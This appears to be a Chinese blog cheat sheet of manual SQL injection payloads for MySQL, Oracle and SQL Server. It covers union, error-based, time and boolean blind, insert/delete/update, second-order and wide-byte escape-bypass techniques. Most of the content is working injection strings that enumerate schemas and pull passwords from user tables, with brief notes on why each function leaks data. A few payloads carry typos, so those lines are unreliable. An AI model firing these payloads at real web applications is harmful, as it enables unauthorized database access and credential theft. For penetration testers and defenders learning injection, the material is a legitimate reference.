- A+
0x01 Mysql 手工注入
1.1 联合注入
1 2 3 4 5 6 7 8 9 10 |
?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ #group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+ #group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+ |
1.2 报错注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a)); |
每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
1 2 3 4 5 6 |
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- + 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + #concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) |
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
1 2 3 4 |
substr(string string,num start,num length); #string为字符串,start为起始位置,length为长度 ?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- + |
1.3 盲注
1.3.1 时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
1 2 3 4 5 |
#if(expre1,expre2,expre3) 当 expre1 为 true 时,返回 expre2,false 时,返回 expre3 #盲注的同时也配合着 mysql 提供的分割函 substr、substring、left |
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
1 2 |
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+ |
1.3.2 布尔盲注
1 2 3 4 5 6 |
?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + #如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- + #若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1 |
1.4 insert,delete,update
insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
1.4.1 报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin"); Query OK, 1 row affected (0.00 sec) mysql> select * from admin; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 1 | and 1=1 | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin | +------+-----------------------------------------------+----------+ 3 rows in set (0.00 sec) mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin"); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' #delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' |
1.4.2 盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等 mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (5.00 sec) mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (0.00 sec) #字符型注意闭合不能使用and mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (0.00 sec) mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (5.01 sec) # delete 函数 or 右边一定要为 false mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0); Query OK, 0 rows affected (0.00 sec) mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0); Query OK, 0 rows affected (5.00 sec) #update 更新数据内容 mysql> select * from admin; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 2 | 1 | admin | | 2 | 1 | admin | | 2 | 1 | admin | | 2 | admin | admin | +------+----------+----------+ 4 rows in set (0.00 sec) mysql> update admin set id="5"+sleep(5)+"" where id=2; Query OK, 4 rows affected (20.00 sec) Rows matched: 4 Changed: 4 Warnings: 0 |
1.5 二次注入与宽字节注入
二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11'); Query OK, 1 row affected (0.00 sec) mysql> select * from admin; +----+-----------+-------+ | id | name | pass | +----+-----------+-------+ | 1 | admin | admin | | 2 | admin'111 | 11111 | | 3 | admin'--+ | 11 | +----+-----------+-------+ 4 rows in set (0.00 sec) 二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户 宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入 id=-1%df' union select... #没使用宽字节 %27 -> %5C%27 #使用宽字节 %df%27 -> %df%5c%27 -> 運' |
0x02 Oracle 手工注入
2.1 联合注入
1 2 3 4 5 6 |
?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)-- ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)-- |
2.2 报错注入
1 2 3 4 5 |
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))-- |
2.3 盲注
2.3.1 布尔盲注
既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);
该函数的含义如下:
1 2 3 4 5 6 7 8 9 10 |
IF 条件=值1 THEN RETURN(返回值1) ELSIF 条件=值2 THEN RETURN(返回值2) ...... ELSIF 条件=值n THEN RETURN(返回值n) ELSE RETURN(缺省值) END IF |
1 2 3 4 |
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)-- ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)-- ?id=1' and ascii(substr(user,1,1))> 64-- #二分法 |
0x03 SQL server 手工注入
3.1 联合注入
1 2 3 4 5 6 7 8 |
?id=-1' union select null,null-- ?id=-1' union select @@servername, @@version-- ?id=-1' union select db_name(),suser_sname()-- ?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null-- ?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null-- ?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null-- ?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null--- ?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null-- |
3.2 报错注入
1 2 |
?id=1' and 1=(select 1/@@servername)-- ?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))-- |
3.3 盲注
3.3.1 布尔盲注
1 |
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64-- |
3.3.2 时间盲注
1 2 |
?id= 1';if(2>1) waitfor delay '0:0:5'-- ?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'-- |
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫